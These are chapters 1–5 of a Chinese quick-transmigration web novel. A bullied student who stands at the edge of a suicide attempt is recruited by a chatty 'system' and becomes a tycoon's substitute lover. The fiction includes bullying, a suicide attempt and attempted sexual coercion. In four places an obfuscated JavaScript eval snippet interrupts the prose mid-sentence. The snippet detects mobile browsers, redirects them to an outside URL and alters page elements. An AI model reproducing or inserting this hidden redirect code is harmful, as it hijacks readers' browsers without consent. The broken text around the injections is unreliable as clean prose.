《纯白沉沦:快穿之渣受觉醒计划》 1. 第 1 章 九月的阳光很好,好到有些刺眼。 林知白站在图书馆二楼的落地窗前,手里攥着一封折了又折的信。信纸上只有一句话,他对着镜子练了整整三天——“学长,我喜欢你,能给我一个机会吗?” 他喜欢周砚两年了。 从大一新生入学典礼上,那个人作为优秀学生代表发言开始。白衬衫,金丝眼镜,温润的笑容,讲话时不紧不慢的语调——像一束光照进了林知白灰扑扑的大学生活。 “林知白?你怎么在这儿?” 身后传来声音,林知白猛地转身,看到周砚正和几个朋友走过来。他条件反射地把信藏到背后,脸腾地红了。 周砚旁边的男生笑了:“哟,这不是咱们班的林知白吗?周砚,他好像暗恋你很久了。” 林知白的脸更红了,他想解释,但舌头像打了结。 周砚看了他一眼,眼神平静得像看一个陌生人:“是吗?” 那个男生起哄:“人家手里拿的不会是情书吧?来来来,给大家看看!” 林知白往后退了一步,手里的信却被一把抽走。他来不及反应,那个男生已经拆开信念了出来:“‘学长,我喜欢你,能给我一个机会吗?’——哈哈哈哈,我念完了,写得还挺真挚!” 笑声像潮水一样涌来。 林知白站在原地,手还保持着攥信的姿势,空了。 周砚走过来,从他身边经过时顿了一下。林知白以为他要说什么,却只听到一句轻飘飘的:“你这种人也配喜欢我?” 然后他走了。 笑声渐渐远去,图书馆恢复了安静。 林知白站了很久,久到阳光从落地窗移开,久到他的腿开始发麻。他弯腰捡起掉在地上的信,折好,放进口袋,然后走出图书馆。 他不知道自己是怎么回到宿舍的。推开门,室友们正在打游戏,看到他进来,没人抬头。 他爬上床,拉上床帘,把自己缩成一团。 手机响了。 是班级群的消息,有人发了一个视频。他点开——是那天他被堵在厕所的画面,几个男生围着,有人推他,有人笑他,有人往他头上倒洗洁精。视频最后,是他的脸,狼狈的,绝望的,带着哭腔的脸。 视频下面,是99+的回复。 “哈哈哈哈这是林知白吗?” “他到底得罪谁了?” “笑死,这表情能当表情包。” “听说今天还跟周砚表白来着,周砚说他不配哈哈哈哈。” 林知白把手机扣在床上,闭上眼睛。 他想起了很多事情。想起从小父母离异,他跟奶奶长大;想起高中时因为性格软被同学欺负,他告诉老师,老师说“一个巴掌拍不响”;想起上大学后,他以为一切会变好,结果只是换了一群人欺负他。 他想起奶奶上个月打来的电话:“小白啊,在学校还好吗?” 他说:“好着呢奶奶,我交了好多朋友。” 电话那头,奶奶笑得开心。 林知白把脸埋进枕头里,肩膀抖得厉害。 不知道过了多久,他抬起头,拉开床帘。 宿舍里已经没人了,灯也关了。窗外是城市的夜景,远处的高楼灯火通明。他看了一眼手机——凌晨一点二十三,未读消息三百多条,都是群里的。 他下床,穿好衣服,走出宿舍。 夜晚的校园很安静,路灯把他的影子拉得很长。他走过操场,走过教学楼,走过图书馆——那里白天还发生过什么,他已经不太记得了。他只想走路,走到腿酸,走到累得什么都想不起来。 然后他发现自己站在了天台上。 风很大,吹得他的衣服猎猎作响。他走到护栏边,往下看了一眼——很远,很高,什么都看不清。 他不知道自己是怎么上来的,也不知道上来干什么。他只是站在那里,风灌进他的领口,有点冷。 手机又响了。 他掏出来看,是周砚发来的私信,只有三个字:“对不起。” 林知白盯着那三个字看了很久,突然笑了。 对不起什么呢?是说他不配那句话?还是说,他其实什么都知道,只是懒得管? 他把手机放回口袋,往前迈了一步。 “卧槽你别跳!” 一个声音突然在他脑子里炸开。 林知白吓得一激灵,差点真的掉下去。他四处张望,天台上空无一人。 “看什么看,我在你脑子里!你脑子里!” 那个声音又响起来,尖细的,带着点气急败坏的味道。 林知白愣住:“……谁?” “我是系统!编号9527,你可以叫我小污!污是污污污的污!” 林知白沉默了五秒,然后继续往前迈步。 “等等等等等!你就不好奇我为什么在你脑子里吗?你就不好奇我能帮你吗?你就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432101|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好奇——” “不好奇。”林知白说。 “……”小污噎住了,然后语气突变,“宿主你别这样,你这样我很没面子的。我好不容易绑定一个人类,你要是跳下去,我也得跟着重启,重启可疼了你知道吗?” 林知白停下脚步:“你怕疼?” “我当然怕疼!我又不是死机专业户!” 林知白想了想,问:“你能让我不疼吗?” 小污沉默了一下,语气突然正经起来:“可以。只要你完成任务,你不仅能不疼,还能让所有欺负你的人后悔。” “什么任务?” “穿越八个世界,让每个世界的渣男真心说出‘我爱你’。完成任务后,你会获得勇气碎片,回归现实后,你有足够的力量改变一切。” 林知白低头看着脚下的虚空。 八个世界。八个渣男。让他们说爱他。 “听起来像是个笑话。”他说。 “是不是笑话,试试不就知道了?”小污的声音又恢复了贱兮兮的调调,“反正你现在都要跳了,不如先陪我玩玩?万一好玩呢?” 林知白沉默了很久。 风还在吹,但他的脚没有再往前迈。 “第一个世界是什么?” “娱乐圈!”小污兴奋起来,“你是娱乐圈金主的替身情人!帅不帅?刺激不刺激?开局就是修罗场!” 林知白想了想那个画面,嘴角抽了抽:“替身情人?那我是不是还得长得像他白月光?” “对!标准配置!” “……这不就是换一种方式被虐吗?” “但是虐完你能让他追妻火葬场啊!”小污理直气壮,“你想啊,他现在虐你,你忍着;等他爱上你,你转身就走,他不就疯了吗?多爽!” 林知白又沉默了。 好像……是挺爽的。 “签约吧签约吧!”小污催他,“你右手边有个光球看到了吗?点一下就行!” 林知白偏头,果然看到一团柔和的光悬浮在空中。 他伸手,碰了一下。 眼前白光炸开,耳边是小污最后的吐槽:“祝你好运宿主!记住,千万别恋爱脑!恋爱脑会被虐得很惨的!” 林知白想问什么叫“被虐得很惨”,但他的意识已经坠入黑暗。 最后一秒,他听到自己心里有个声音在问—— 这真的不是从一个坑跳进另一个坑吗? 2. 第 2 章 林知白是被阳光晃醒的。 他睁开眼,首先映入眼帘的是天花板——水晶吊灯,雕花石膏线,一看就很贵的那种。 他侧过头,落地窗外是整片城市的天际线,高楼林立,阳光把整个房间照得金碧辉煌。 “这是哪儿?”他开口,声音有点哑。 “欢迎来到世界一!”脑子里响起熟悉的声音,小污的语气里带着邀功的兴奋,“娱乐圈金主的豪华公寓!市中心顶楼!三百平米!全景落地窗!怎么样,开局不错吧?” 林知白坐起来,低头看了看自己——穿着真丝睡衣,皮肤白了一个度,手指修长好看。 “这是……我的身体?” “原主的,现在归你了。”小污说,“原主叫林白,二十二岁,戏剧学院大三学生,三个月前被顾霆琛包养,住进了这套公寓。性格嘛……和你有点像,单纯、内向、好拿捏。” 林知白沉默了一下:“所以我现在是……” “金丝雀!”小污抢答,“标准的金丝雀!关在豪华笼子里那种!” 林知白:“……” 他下床,赤脚踩在羊绒地毯上,走到落地窗前。城市在脚下铺开,车流像蚂蚁一样小。他以前只在电影里见过这种房子。 “原主的记忆呢?”他问。 “正在传输,你忍一下。” 话音刚落,一股陌生的记忆涌入脑海—— 原主在酒吧打工,被顾霆琛看中;顾霆琛说他长得像一个人,问他愿不愿意跟自己走;原主答应了,搬进这间公寓;三个月里,顾霆琛每周来两三次,吃饭,过夜,从不多说话;原主想和他聊天,他只是淡淡说“你不需要知道这些”;原主一个人在空荡荡的房子里等,等手机亮起,等那个人来,等他走。 记忆到这里,林知白心里突然堵了一下。 “原主喜欢他?”他问。 “喜欢。”小污说,“或者说,以为自己喜欢。金主长得帅又有钱,偶尔还会温柔一下,谁能不沦陷?但是——” “但是他只是替身。” “对。”小污的语气难得正经,“原主长得像顾霆琛的白月光,那个白月光出国十年了。原主自己不知道,但你知道。” 林知白没说话。 手机突然响了。 屏幕上显示两个字:霆琛。 他接起来,那边传来一个低沉的男声,没什么温度:“今晚七点,赵总的饭局。打扮一下,司机六点半到楼下。” 然后挂了。 林知白看着黑下去的屏幕,问小污:“赵总是谁?” “投资方。”小污说,“一个五十多岁的老男人,挺色的。顾霆琛最近在谈一个大项目,赵总是关键人物。” “……他让我陪赵总吃饭?” “对。” “只是吃饭?” 小污沉默了。 林知白也沉默了。 过了几秒,小污干笑一声:“宿主你别想太多,说不定就是正常应酬呢?对吧?哈哈……” “你笑得很心虚。”林知白说。 “我没有!我这是乐观!” 林知白没理它,走进衣帽间。 衣帽间比他在学校的宿舍还大,整面墙的衣服、鞋子、包,全是名牌。他随手拿了件衬衫换上,对着镜子看了看。 镜子里的脸和他原本有七分像,但更好看——眉眼更精致,皮肤更白,嘴唇有好看的弧度。只是眼神有点空,像一只被养在笼子里太久的鸟。 “原主是个什么样的人?”他问。 “安静,听话,不吵不闹。”小污说,“顾霆琛喜欢这样的。来的时候伺候着,走的时候不挽留。” “那他开心吗?” “……”小污沉默了一下,“你看这笼子,华丽吗?” 林知白没回答。 六点半,司机准时到了楼下。 是一辆黑色保姆车,司机是个沉默的中年人,一路上没说话。林知白靠着车窗,看城市的灯光一盏盏亮起来。 车子停在一家私人会所门口。有服务员引他进去,穿过长廊,推开一扇门。 包厢里已经有人了。 主位上坐着一个男人,三十出头,五官冷峻,眉眼间带着常年身居高位的疏离感。他穿着深灰色西装,袖口的袖扣在灯光下闪了一下。 顾霆琛。 比原主记忆里更冷。更远。 他旁边坐着一个五十多岁的男人,发福,脸上带着生意场上常见的笑容,眼神在林知白身上转了一圈。 “顾总,这就是你说的那个小朋友?”赵总笑着,“不错不错,长得真俊。” 顾霆琛看了林知白一眼:“坐吧。” 林知白在顾霆琛旁边坐下。赵总的视线一直在他身上,黏腻得像一层油。 “林白是吧?”赵总举杯,“来,敬你一杯。” 林知白端起酒杯,抿了一口。他不太会喝酒,辣得皱了皱眉。 “哈哈哈,小朋友不会喝酒?”赵总笑得更开心了,“没关系,多练练就会了。” 顾霆琛低头看手机,没说话。 饭局继续进行。赵总聊项目,聊投资,聊最近的市场。顾霆琛偶尔应几句,大部分时间在听。林知白安静地坐着,夹面前的菜,不怎么说话。 酒过三巡,赵总的脸开始泛红。他看林知白的眼神越来越直接。 “顾总,”他突然说,“这个项目要是成了,你这个小朋友可得借我几天。” 林知白手里的筷子顿了一下。 顾霆琛抬起头,看了赵总一眼。那一眼看不出什么情绪,只是淡淡的:“赵总说笑了。” “我可没说笑。”赵总凑近一点,“我这个人,就喜欢这种白白净净的。顾总要是舍得,项目的事好说。” 包厢里安静了几秒。 林知白看着顾霆琛。 顾霆琛放下手机,端起酒杯,敬了赵总一杯:“赵总,人我带到了,您随意。” 然后他站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432102|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,拿起外套:“公司还有事,先走了。林白,你陪赵总喝好。” 门关上的声音很轻。 林知白坐在原地,看着那扇关上的门。 小污在他脑子里尖叫:“宿主!他走了!他把你丢这儿了!我就知道!我就知道!啊啊啊!” 林知白没理它。 赵总的手已经搭上来了。 “小朋友,别怕,赵叔叔人很好的。”他的手顺着林知白的肩膀往下滑,“顾霆琛那个人,冷冰冰的,有什么好的?跟赵叔叔,保证你吃香的喝辣的……” 林知白低头看着那只手,想起原主的记忆。 那个一个人在空荡荡的房子里等待的人。那个听到门响就眼睛发亮的人。那个以为只要乖一点、听话一点,就能被喜欢的人。 “小朋友?”赵总的脸凑过来,酒气喷在他脸上。 林知白抬头,看着这张油腻的脸,突然笑了。 不是原主的笑,是他自己的笑。 “赵总,”他说,声音很平静,“您知道吗,我今天第一天来这儿。” 赵总愣了一下:“什么?” 林知白拿起桌上还没开的红酒瓶。 “砰——!” 酒瓶在赵总脑袋上炸开,红色的液体混着玻璃碴子飞溅。赵总惨叫一声,捂着头往后倒。 林知白站起来,拍了拍手上的玻璃渣。 “告诉顾霆琛,”他看着在地上打滚的赵总,语气平淡得像在说今天天气不错,“他送人的那个,死了。” 然后他推开门,走进夜色里。 外面下起了雨。 林知白走在雨里,衬衫很快就湿透了,贴在身上。他掏出手机,给顾霆琛打电话。 嘟——嘟——嘟—— “您拨打的电话已关机。” 他站在雨里,看着屏幕上那两个字,突然笑出声来。 笑着笑着,眼眶有点热。 “宿主……”小污的声音小心翼翼的,“你还好吗?” 林知白没回答。 他把手机放回口袋,继续往前走。 雨越下越大,街上已经没有行人了。他不知道去哪里,只是一直走。 身后,那家私人会所的灯光越来越远。 手机又响了。 是短信。 顾霆琛发的: “赵总说你不懂事。明天来公司一趟。卡里打了点钱,去买点喜欢的。” 附件是一张银行卡的照片。 林知白站在雨里,看着那条短信。 看着“银行卡”那三个字。 看着“去买点喜欢的”那六个字。 他看了很久很久。 雨打在手机屏幕上,模糊了字迹。 他突然笑了。 这一次,是真的在笑。 笑着笑着,他终于哭了。 回到公寓的林知白,在顾霆琛的书房里发现了一张照片。照片上的人,和他长得一模一样。 3. 第 3 章 林知白不知道自己走了多久。 雨一直下,他的衬衫早就湿透了,贴在身上像一层冰。头发上的水顺着脸颊往下淌,流进脖子里,凉得他直打哆嗦。 手机屏幕早就黑了,他没再看那条短信。 等他回过神来,已经站在公寓楼下。 电梯里只有他一个人,镜面墙上映出他狼狈的样子——头发乱糟糟贴在额头上,脸色发白,眼睛红红的,不知道是雨水还是别的什么。 “宿主……”小污的声音小心翼翼的,“你还好吗?” “嗯。”林知白应了一声,声音沙哑。 “那个……其实顾霆琛就是个渣男!咱们不跟他一般见识!等他以后爱上你,咱们再狠狠虐他!” 林知白没说话。 电梯到了顶层,门打开。他走到公寓门口,指纹锁“嘀”的一声开了。 屋里还是那个样子,安静得能听见自己的呼吸。落地窗外的城市灯火通明,但一点声音都传不进来。 林知白走进浴室,打开花洒。热水冲在身上,他才发现自己一直在发抖。 洗完出来,换了身干净的衣服,他坐在客厅的沙发上发呆。 小污忍不住了:“宿主,你要是难受就哭吧,我不笑话你。” “没难受。”林知白说。 “真的?” “真的。”他顿了顿,“就是觉得,原主挺可怜的。” 他想起原主那些记忆——每次顾霆琛来的时候,原主眼睛都会亮一下;每次顾霆琛走的时候,原主都会站在窗边看着楼下的车离开;每次手机响,原主都会飞快地拿起来看,然后失望地放下。 三个月,九十多天,那个人的名字在手机里出现过无数次,但主动打过来的,屈指可数。 “原主知道自己是替身吗?”林知白问。 “不知道。”小污说,“他什么都不知道。” 林知白沉默了一下,站起来。 他也不知道自己要干什么,只是在屋里漫无目的地走。走过客厅,走过餐厅,走到书房门口。 书房的门虚掩着,里面透出一丝光。 他记得原主从来没进过这间书房。顾霆琛说过,他的东西不要乱动。 但今天不一样。 林知白推开门。 书房很大,一整面墙的书架,中间是一张深色的书桌。桌上放着电脑和一些文件,看起来很整齐。 他的目光落在书架旁边的一个相框上。 相框不大,木质的,摆在一个不太起眼的位置。但林知白一眼就看到了。 他走过去,拿起那个相框。 照片上是一个年轻男人,穿着白衬衫,站在埃菲尔铁塔前,对着镜头笑得很温柔。 那张脸—— 林知白的手抖了一下。 那张脸和他现在这张脸,几乎一模一样。 不,不能说一模一样。五官是相似的,但气质完全不同。照片里的人眉眼舒展,笑容明亮,一看就是从小被宠大的。而他……林知白看着镜面书柜里倒映出的自己,眼神空洞,脸色苍白,像一只被关久了的鸟。 “白月光?”他问。 小污沉默了几秒,然后轻轻说:“嗯,叫苏沐,和顾霆琛一起长大的,十年前出国了。” 林知白看着照片里的人,突然笑了。 笑得很轻,很淡。 “所以原主从第一天起,就是替身。”他说。 “宿主……” “我没事。”林知白把相框放回原处,“就是觉得,挺没意思的。” 他转身想走,却愣在了原地。 书房门口站着一个人。 顾霆琛不知道什么时候回来了,就站在门口,静静地看着他。 他应该也是刚回来,西装外套脱了,只穿着衬衫,领口松开了两颗扣子。头发还有点湿,像是淋了雨。 他不知道在那里站了多久。 两个人就这么对视着,谁都没说话。 最后还是林知白先开口:“什么时候回来的?” “刚才。”顾霆琛的声音听不出情绪。 林知白没再问,从他身边走过去。 “站住。”顾霆琛说。 林知白停下脚步,没回头。 顾霆琛走进书房,走到那个相框前,拿起来看了一眼,又放回去。然后他看着林知白的背影,问:“看到了?” “嗯。” “有什么想问的?” 林知白转过身,看着他。 这个男人真的很帅,五官冷峻,眉眼深邃,站在那里就像杂志封面。但此刻,他的眼神里有一种林知白看不懂的东西。 “他是谁?”林知白问。 顾霆琛沉默了一下:“一个朋友。” “只是朋友?” 顾霆琛没回答。 林知白笑了:“我长得像他,对吗?” 顾霆琛看着他,眼神复杂,但没有否认。 “所以你养着我,是因为我像他。”林知白说,不是疑问,是陈述。 顾霆琛终于开口:“你和他不一样。” “哪里不一样?” 顾霆琛走过来,一步一步,最后停在他面前。他抬起手,想摸林知白的脸。 林知白偏头躲开了。 顾霆琛的手僵在半空,停了几秒,然后缓缓放下。 “今晚的事,”他转移话题,“赵总很生气。” 林知白看着他,眼神平静得像一潭死水:“所以呢?” “明天去给他道个歉。” “道歉?”林知白重复了一遍这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432103|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 词,突然笑了,“顾霆琛,你把我送给他,现在让我去道歉?” “只是吃顿饭。” “只是吃饭?”林知白的笑收住了,“那你为什么不吃完?” 顾霆琛皱了皱眉:“林白,注意你的身份。” “我的身份?”林知白往前走了一步,盯着他的眼睛,“你的玩具?还是他的替身?” 顾霆琛脸色变了。 第一次,林知白在他脸上看到了情绪——不是冷漠,不是疏离,而是一种说不清的东西,像是被戳中了什么。 “谁告诉你的?”他问。 “我自己看到的。怎么,不能说?” 顾霆琛沉默了很久。 久到林知白以为他不会回答了,他才开口:“他叫苏沐,和我一起长大。十年前他出国,我们分开了。” 林知白等着他说下去,但他没有。 “所以你就找个替身?”林知白替他补完,“三个月前你在酒吧看到我,因为我长得像他,所以你把我带回来。养着我,逗着我,偶尔来宠幸一下。等你腻了,还能拿我去换项目。” 顾霆琛的眼神冷下来:“你觉得你是这么想的?” “不然呢?”林知白看着他,“你告诉我,不然是什么?” 顾霆琛没说话。 林知白等了几秒,然后笑了:“算了,你不用回答。我都懂。” 他转身往外走。 这一次顾霆琛没叫住他。 走到门口,林知白停了一下,头也不回地说:“赵总那边,我不会去道歉的。你要是觉得我碍事,就让我走。” 然后他推开门,回了卧室。 门关上的声音很轻。 林知白靠在门板上,慢慢滑坐到地上。 小污轻声说:“宿主,你刚才好A啊!不过……你是不是有点难过?” “没有。” “真的?” “真的。”林知白说,“就是有点累。” 他站起来,走到床边,躺下去。 头有点晕,可能是淋雨淋的。他闭上眼睛,心想睡一觉就好了。 迷迷糊糊中,好像有人推开了门。 脚步声很轻,走到床边停住了。 然后一只手探上他的额头,凉凉的,很舒服。 那只手在他额头上停了一会儿,又摸了摸他的脸。 有人给他盖好了被子,在床边站了很久,最后轻轻带上门走了。 林知白想睁开眼睛看看是谁,但眼皮太重了,怎么都睁不开。 意识沉入黑暗之前,他听到小污在他脑子里嘀咕了一句:“啧,这人到底在想什么啊……” 第二天醒来,林知白发现自己发着烧,床头柜上放着药和一杯水。而顾霆琛的房门紧闭,没人知道他在不在。 4. 第 4 章 林知白是被热醒的。 不对,是又冷又热。 身上像裹了一层火,但骨子里又像结了冰,冷得他直打哆嗦。他想睁开眼睛,眼皮却像灌了铅,怎么都睁不开。 迷迷糊糊中,有人把他扶起来,往他嘴里喂了什么东西。苦的,涩的,他皱起眉想吐掉,却被捏着下巴强行灌了下去。 “咽下去。”一个声音说,低沉的,带着点不耐烦。 林知白咽了。 然后又被人按着躺下,被子掖得严严实实,像包粽子一样把他裹起来。 他想说“热”,但喉咙干得发不出声。 那只手又探上他的额头,凉凉的,很舒服。林知白下意识往那只手的方向蹭了蹭。 手顿了一下,然后抽走了。 林知白有点失落,迷迷糊糊地想着:怎么走了…… 等他再醒来的时候,天已经亮了。 阳光从窗帘缝隙里挤进来,在地板上画出一道金色的线。林知白盯着那道线看了好几秒,脑子才慢慢开始运转。 他转过头,床头柜上放着一杯水,一盒药,还有一个体温计。 水杯下面压着一张纸条。 他拿起来看,上面只有两个字,笔迹锋利得像刻出来的:“吃药。” 林知白盯着那两个字看了半天,然后问小污:“他写的?” “不然呢?”小污的声音响起来,带着点幸灾乐祸,“昨晚你发烧到三十九度五,人都烧糊涂了,顾霆琛进来看过你好几次。第一次给你喂药,你吐了他一身;第二次给你物理降温,你抓着他的手不放,还往人家怀里钻。” 林知白:“……我没有。” “你有。”小污的语气很笃定,“我都录下来了,要看吗?” “不看。” “你耳朵红了。” “发烧烧的。” “哦——”小污拖长了调子,“发烧烧的。” 林知白没理它,拿起那杯水喝了一口。水是温的,不烫也不凉,刚好入口。 他愣了一下。 这杯水是什么时候放的?如果是昨晚放的,应该早就凉透了。如果是今天早上放的,那…… “他早上来过?”他问。 “七点的时候进来过一次,换了杯水,摸了摸你的额头,然后走了。”小污说,“现在九点半,所以这杯水放了两个多小时,还是温的。” 林知白低头看着手里的水杯,没说话。 “宿主,”小污的声音突然变得八卦起来,“你说他这是什么意思啊?一边把你当替身,一边又给你喂药换水的,精分啊?” 林知白想了想:“可能怕我死了,没人给他当替身。” “哦——”小污又拖长了调子,“那昨晚你抓着他手不放的时候,他怎么没把你手剁了?” 林知白没回答。 他把水喝完,拿起药盒看了看。退烧药,消炎药,都是对症的。他按说明吃了药,然后下床。 头还有点晕,腿也有点软,但比昨晚好多了。 他打开卧室门,客厅里很安静。 阳光从落地窗照进来,把整个客厅照得亮堂堂的。沙发上没人,餐厅里没人,阳台上也没人。 林知白往书房的方向看了一眼,门开着,里面也没人。 他站在客厅中央,突然觉得有点空。 “去上班了吧。”小污说,“资本家不需要休息的。” 林知白没接话,走到厨房想找点吃的。 冰箱打开,里面整整齐齐摆着各种食材,但都是生的,他不会做。找了半天,在角落里翻出一盒牛奶,看了看日期,还没过期。 他倒了一杯牛奶,放进微波炉里热。 微波炉嗡嗡地转着,林知白靠在料理台边发呆。 “宿主,”小污突然说,“你觉得顾霆琛这个人怎么样?” 林知白想了想:“渣。” “还有呢?” “冷。” “还有呢?” 林知白看了他一眼:“你到底想问什么?” 小污嘿嘿笑了两声:“我就是好奇,你对他有没有那种……嗯……你懂的。” “没有。” “真的?” “真的。”林知白说,“我只是觉得奇怪。” “奇怪什么?” 微波炉“叮”的一声响了。林知白拿出牛奶,喝了一口,烫得直皱眉。 “奇怪他为什么要管我。”他说,“既然只是替身,死了就死了,再找一个不就完了?反正长得像的人,应该不难找。” 小污沉默了一下:“也许他没那么渣?” “也许。”林知白说,“但那又怎样?” 他把牛奶喝完,洗了杯子,放回原处。 然后他走到客厅,在沙发上坐下,看着窗外的城市。 太阳升高了,楼下的车流开始多起来,一切都和昨天一样。 但好像又有什么不一样了。 手机突然响了。 林知白拿起来看,是顾霆琛发来的消息:“退烧了?” 他盯着那两个字看了很久,然后回了一个字:“嗯。” 那边很快又回过来:“中午想吃什么,让阿姨做。” 林知白想了想,回:“随便。” “没有随便这道菜。” 林知白看着这句话,嘴角不自觉地动了一下。 小污在他脑子里尖叫:“宿主你笑了!你居然笑了!” “我没有。” “你有!你刚才嘴角上扬了零点五厘米!” “你连零点五厘米都能看出来?” “我是系统!精确到纳米!” 林知白没理它,但嘴角确实又动了一下。 手机又响了,这次是一张图片。打开一看,是一份菜单,上面密密麻麻列了几十道菜,每道菜后面还标了“川菜”“粤菜”“鲁菜”之类的分类。 图片下面跟着一句话:“选。” 林知白愣了愣,往下翻了翻,发现菜单长得看不到头。 “这什么?”他问小污。 “顾家的私人厨师菜单。”小污说,“顾霆琛家里养着三个厨师,一个做中餐,一个做西餐,一个做甜点。你平时吃的都是他们做的。” 林知白低头看了看自己,又看了看这间三百平米的公寓,突然有点恍惚。 他想起自己在学校宿舍那张一米二的床,想起食堂里五块钱一份的盖浇饭,想起奶奶每次打电话都问“钱够不够花”。 而那个人,只是动动手指,就能让三个厨师给他做饭。 “宿主?”小污叫他。 林知白回过神来,低头看手机。他随便点了个“鱼香肉丝”和“番茄蛋汤”,发过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432104|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那边秒回:“就吃这个?” “嗯。” “行。” 对话框安静了。 林知白放下手机,靠在沙发上,看着天花板。 小污问:“你在想什么?” 林知白说:“在想,如果我不是替身,会怎么样。” 小污沉默了几秒,然后说:“可惜你是。” 林知白笑了:“是啊,可惜我是。” 中午的时候,门铃响了。 林知白去开门,外面站着一个阿姨,推着一辆小餐车。餐车上摆着几个保温盒。 “林先生,您的午饭。”阿姨笑得很和气。 林知白接过餐盒,道了谢。阿姨推着空车走了。 他把餐盒拿到餐桌上打开,鱼香肉丝、番茄蛋汤,还有两碟小菜,一碗米饭,一份水果。 热气腾腾的,冒着香味。 林知白拿起筷子,吃了一口。 很好吃,比食堂的好吃一百倍。 但他吃着吃着,突然觉得有点咽不下去。 “宿主?”小污问,“不好吃吗?” “好吃。”林知白说。 “那你为什么看起来不高兴?” 林知白放下筷子,看着桌上的饭菜。 “我在想,”他说,“原主这三个月,每天都是这样过的吗?一个人吃饭,一个人发呆,一个人等那个人来,然后看着那个人走?” 小污没说话。 “他喜欢顾霆琛,对不对?”林知白说,“不是因为钱,是真的喜欢。” 小污沉默了很久,然后轻轻说:“嗯。” 林知白低下头,看着碗里的米饭。 “那他真傻。”他说。 “你不傻吗?”小污问。 林知白愣了一下。 “你也喜欢过一个人,不是吗?”小污的声音很轻,“周砚,图书馆,那封信。” 林知白的筷子顿住了。 “你为他哭过,为他失眠过,为他站在天台上想跳下去过。”小污说,“你和原主,其实没什么不一样。” 林知白沉默了很久。 然后他拿起筷子,继续吃饭。 “所以我才说,”他咽下一口饭,声音有点含糊,“我们都傻。” 吃完饭,他把餐盒收拾好,放在门口。然后他回到卧室,躺下。 头还有点晕,药效上来了,眼皮又开始打架。 迷迷糊糊中,手机响了。 他拿起来看,是顾霆琛的消息:“退烧药按时吃。晚上我早点回来。” 林知白盯着“早点回来”那四个字看了很久。 然后他把手机扣在枕头边,闭上眼睛。 小污问:“你怎么不回?” 林知白没说话。 过了很久,就在小污以为他睡着了的时候,他轻轻说了一句: “回了又怎样,我又不是他等的那个人。” 房间里安静下来。 阳光从窗帘缝隙里挤进来,在地板上画出一道金色的线。 林知白睡着了。 手机屏幕还亮着,那条消息静静地躺在对话框里。 没有回复。 晚上,顾霆琛真的提前回来了。他带了一束花,说是“路上看到随便买的”。林知白看着那束白玫瑰,突然想起书房照片里的人,手里也拿着一束白玫瑰。 5. 第 5 章 九月的夜风从窗户缝隙钻进来,带着一点凉意。 林知白盯着手机屏幕上的对话框,光标还在闪烁。顾霆琛最后那条消息“晚上早点回来”静静地躺在那里,已经过去了三个小时。 他没回。 回了又怎样?他又不是我等的那个人。 手机屏幕暗下去,又被他按亮。暗下去,再按亮。窗外有车灯划过天花板,他的心跳就会漏一拍,然后听见车子驶过的声音越来越远。 “宿主,你这样很像个望夫石。”小污的声音突然冒出来,“还是那种被抛弃了还在等的望夫石。” “我没在等。” “那你按亮手机四十七次是为什么?数星星吗?” 林知白把手机扣在床头柜上,屏幕朝下。黑暗里,他能听见自己的呼吸声。 然后他听见了——车库门开启的声音。 心脏猛地撞了一下胸腔。 楼下传来轻微的响动,脚步声,然后是上楼的声音。林知白闭上眼睛,调整呼吸,假装睡着了。 脚步声停在卧室门口。 没动静了。 林知白背对着门,全身的神经都绷紧了。他能感觉到那道目光落在自己背上,像有实质的重量。 过了很久——也许是几秒,也许是几分钟——门轻轻关上了。 林知白睁开眼睛,盯着黑暗中的墙壁。 小污幽幽开口:“宿主,你知道他刚才在门口站了多久吗?” “不想知道。” “三分十五秒。” “......” “你知道他今天的行程吗?早上六点飞上海,下午四场会,晚上七点的飞机回北京,结果航班延误,他开车从机场直接回来,现在快十二点了。” 林知白翻了个身,面朝天花板:“小污,你很吵。” “本系统只是客观陈述事实。” 